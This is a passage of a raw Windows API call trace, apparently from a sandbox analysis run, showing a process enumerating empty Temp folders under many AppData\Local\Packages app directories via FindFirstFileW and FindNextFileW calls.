lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x696262c9, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcab4dc65, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x696262c9, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d10b0 [0200.856] FindNextFileW (in: hFindFile=0x30d10b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x696262c9, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcab4dc65, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x696262c9, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.856] FindNextFileW (in: hFindFile=0x30d10b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x696262c9, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcab4dc65, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x696262c9, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.856] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352eddd8, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcad79be4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x352eddd8, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1970 [0200.856] FindNextFileW (in: hFindFile=0x30d1970, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352eddd8, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcad79be4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x352eddd8, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.856] FindNextFileW (in: hFindFile=0x30d1970, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352eddd8, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcad79be4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x352eddd8, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.856] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9f55962, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf9f55962, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf9f55962, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1cf0 [0200.857] FindNextFileW (in: hFindFile=0x30d1cf0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9f55962, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf9f55962, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf9f55962, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.857] FindNextFileW (in: hFindFile=0x30d1cf0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9f55962, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf9f55962, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf9f55962, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.857] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a49a72f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x371986aa, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x371986aa, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1930 [0200.857] FindNextFileW (in: hFindFile=0x30d1930, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a49a72f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x371986aa, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x371986aa, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.857] FindNextFileW (in: hFindFile=0x30d1930, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a49a72f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x371986aa, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x371986aa, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.857] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x319c919e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd5f9a49, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x319c919e, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1d70 [0200.857] FindNextFileW (in: hFindFile=0x30d1d70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x319c919e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd5f9a49, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x319c919e, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.857] FindNextFileW (in: hFindFile=0x30d1d70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x319c919e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd5f9a49, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x319c919e, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.857] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d9dbf7f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd7b9d52, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d9dbf7f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1ff0 [0200.858] FindNextFileW (in: hFindFile=0x30d1ff0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d9dbf7f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd7b9d52, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d9dbf7f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.858] FindNextFileW (in: hFindFile=0x30d1ff0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d9dbf7f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd7b9d52, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d9dbf7f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.858] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8c4028f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd8c4028f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd8c4028f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1db0 [0200.858] FindNextFileW (in: hFindFile=0x30d1db0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8c4028f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd8c4028f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd8c4028f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.858] FindNextFileW (in: hFindFile=0x30d1db0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8c4028f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd8c4028f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd8c4028f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.858] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MSPaint_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7dcbdba, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7dcbdba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd7dcbdba, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1d30 [0200.858] FindNextFileW (in: hFindFile=0x30d1d30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7dcbdba, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7dcbdba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd7dcbdba, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.858] FindNextFileW (in: hFindFile=0x30d1d30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7dcbdba, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7dcbdba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd7dcbdba, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.858] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2953e76, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcdb63004, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf2953e76, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d19b0 [0200.859] FindNextFileW (in: hFindFile=0x30d19b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2953e76, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcdb63004, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf2953e76, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.859] FindNextFileW (in: hFindFile=0x30d19b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2953e76, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcdb63004, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf2953e76, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.859] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10c1c77, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcdc5b47b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x10c1c77, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1bb0 [0200.859] FindNextFileW (in: hFindFile=0x30d1bb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10c1c77, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcdc5b47b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x10c1c77, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.859] FindNextFileW (in: hFindFile=0x30d1bb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10c1c77, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcdc5b47b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x10c1c77, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.859] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.3_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebf2fc88, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xebf2fc88, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xebf2fc88, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1a70 [0200.859] FindNextFileW (in: hFindFile=0x30d1a70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebf2fc88, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xebf2fc88, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xebf2fc88, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.860] FindNextFileW (in: hFindFile=0x30d1a70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebf2fc88, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xebf2fc88, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xebf2fc88, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.860] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2692a270, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xcde93ee6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2692a270, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1bf0 [0200.860] FindNextFileW (in: hFindFile=0x30d1bf0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2692a270, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xcde93ee6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2692a270, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.860] FindNextFileW (in: hFindFile=0x30d1bf0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2692a270, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xcde93ee6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2692a270, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.860] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf238428c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xce019885, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf238428c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d19f0 [0200.860] FindNextFileW (in: hFindFile=0x30d19f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf238428c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xce019885, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf238428c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.860] FindNextFileW (in: hFindFile=0x30d19f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf238428c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xce019885, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf238428c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.860] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7a89a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce1b0fd4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd7a89a, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d18f0 [0200.861] FindNextFileW (in: hFindFile=0x30d18f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7a89a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce1b0fd4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd7a89a, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.861] FindNextFileW (in: hFindFile=0x30d18f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7a89a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce1b0fd4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd7a89a, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.861] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.3_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb8a14cb, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xeb8a14cb, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xeb8a14cb, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1eb0 [0200.861] FindNextFileW (in: hFindFile=0x30d1eb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb8a14cb, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xeb8a14cb, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xeb8a14cb, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.861] FindNextFileW (in: hFindFile=0x30d1eb0, lpFindFileData=0x2e1fb24 | out: 